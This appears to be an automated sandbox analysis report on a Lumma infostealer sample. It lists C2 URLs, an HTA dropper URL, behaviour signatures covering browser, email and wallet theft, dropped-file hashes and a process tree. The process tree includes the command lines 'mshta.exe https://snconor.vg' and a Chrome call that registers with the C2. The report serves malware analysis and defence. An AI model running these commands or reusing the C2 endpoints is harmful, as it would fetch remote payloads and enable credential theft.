Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 16:52

General

  • Target
    tmpvtwi_038.exe
  • Size 2.6MB
  • Sample260601-vdrc7acv2m
  • SHA256 14de06540441f161bcaca848504834ef462834fe0c28f4f31c04c39f865b9d08
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://snconor.vg

Extracted

Family
  • lumma

C2
  • https://fourdigs.cyou

  • https://decrnoj.club/xxx

  • https://pomflgf.vu/help

  • https://carytui.vu/caccc

  • https://mushxhb.best/info

  • https://genugsq.best/main

  • https://ulmudhw.shop/create

  • https://strikql.shop/owner

  • https://longmbx.click/manifest

Attributes
  • build_id

    2d4e298beb7693e422d73a60865136850e1b4192b3

Signatures

  • Family: Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 42 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 21 IoCs
  • Suspicious use of FindShellTrayWindow 37 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpvtwi_038.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpvtwi_038.exe"
    1⤵
    • Adds Run key to start application
    • Suspicious use of WriteProcessMemory
    PID:4068
    • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
      C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe Settled.a3x
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" fourdigs.cyou/api/set_agent?id=F13B67E0BD24956701AEC7B30ADF174C&token=2d4e298beb7693e422d73a60865136850e1b4192b3&description=&agent=Chrome
        3⤵
        • Checks processor information in registry
        • Enumerates system info in registry
        • Modifies data under HKEY_USERS
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:1248
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ff8a99bc728,0x7ff8a99bc734,0x7ff8a99bc740
          4⤵
            PID:4392
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1736,i,11291952246296141427,362299181308987731,262144 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2020 /prefetch:2
            4⤵
              PID:5076
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1628,i,671412489503215358,1936502224893671975,524288 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2340 /prefetch:3
              4⤵
              • System Time Discovery
              PID:2988
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2396,i,5097321813118095092,3252514301399104838,524288 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2560 /prefetch:8
              4⤵
                PID:4860
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3168,i,11600244388711031061,17574562558383960615,2097152 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3192 /prefetch:1
                4⤵
                  PID:5060
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3188,i,1529394733430548274,4109652159235156530,2097152 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3216 /prefetch:1
                  4⤵
                    PID:5000
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4212,i,4552119284640409433,17421066396607989734,2097152 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4292 /prefetch:2
                    4⤵
                      PID:2316
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4656,i,4852763843699449593,8081430956616494891,524288 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4652 /prefetch:8
                      4⤵
                        PID:3140
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5772,i,10388596074917891258,3018064271606292606,524288 --field-trial-handle=2024,i,9641287541718544922,11757805173984291054,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5792 /prefetch:8
                        4⤵
                          PID:4600
                      • C:\Windows\SYSTEM32\mshta.exe
                        mshta.exe https://snconor.vg
                        3⤵
                        • Badlisted process makes network request
                        • Modifies Internet Explorer settings
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4588
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:4364
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:956
                      • C:\Windows\system32\conhost.exe
                        conhost.exe
                        1⤵
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:4192
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe
                          2⤵
                            PID:2704
                        • C:\Windows\system32\taskkill.exe
                          taskkill /F /IM mshta.exe
                          1⤵
                          • Process spawned unexpected child process
                          • Kills process with taskkill
                          • Suspicious use of AdjustPrivilegeToken
                          PID:3108

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              BookmarkMergedSurfaceOrdering

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                              • Size 6B
                              • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                              • MD5 SHA1 SHA512

                              BrowsingTopicsState

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState
                              • Size 649B
                              • SHA256 131ea63d5169f77a92001078ef3132011c4453f2274ad1a4ee2ad42f549cb856
                              • MD5 SHA1 SHA512 TLSH

                              SCT Auditing Pending Reports

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                              • Size 2B
                              • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                              • MD5 SHA1 SHA512

                              Preferences

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                              • Size 12KB
                              • SHA256 5300f018ba8f50de56e779fe739a5735f90b1bb2d9b75ae3656b852f5e7096ab
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Secure Preferences

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                              • Size 17KB
                              • SHA256 9a63a02af86b793bc7723ea8579017000fbde21723150ca89cdaa0102d54150d
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Web Data

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                              • Size 138KB
                              • SHA256 9c05427b3cdc163184d8f6ef514a416fbc3a96fc7ada8110c4372c7ba50eb6b9
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Last Version

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                              • Size 13B
                              • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                              • MD5 SHA1 SHA512

                              Local State

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                              • Size 232KB
                              • SHA256 d6d82f8b3d5869b617d3238c9d6231c2b653e9196da500aa58c033f0d94966b1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Local State

                              • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                              • Size 115KB
                              • SHA256 e3ad01995e4e6afec2cef041c3f37729c08f3d3349d1af3d92c86b0b18d87382
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              AutoIt3.exe

                              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\AutoIt3.exe
                              • Size 957KB
                              • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              Settled.a3x

                              • Path C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\Settled.a3x
                              • Size 754KB
                              • SHA256 c769307bd5788637fc9efb785eca962ac24a798f559805c743e90b6e2eb9fe8a
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/2500-89-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-82-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-57-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-56-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-55-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-64-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-63-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-75-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-95-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-103-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-102-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-101-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-98-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-97-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-93-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-92-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-91-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-90-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-62-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-88-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-87-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-86-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-85-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-84-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-83-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-61-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-81-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-80-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-79-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-78-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-77-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-76-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-99-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-100-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-96-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-94-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-74-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-73-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-72-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-71-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-70-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-69-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-68-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-67-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-66-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-58-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-59-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-60-0x0000000004CF0000-0x0000000004CF1000-memory.dmp

                              memory/2500-14-0x0000000004E70000-0x0000000004ECF000-memory.dmp

                              memory/2500-13-0x00000000039A0000-0x00000000039A1000-memory.dmp

                              memory/2500-65-0x0000000004CF0000-0x0000000004CF1000-memory.dmp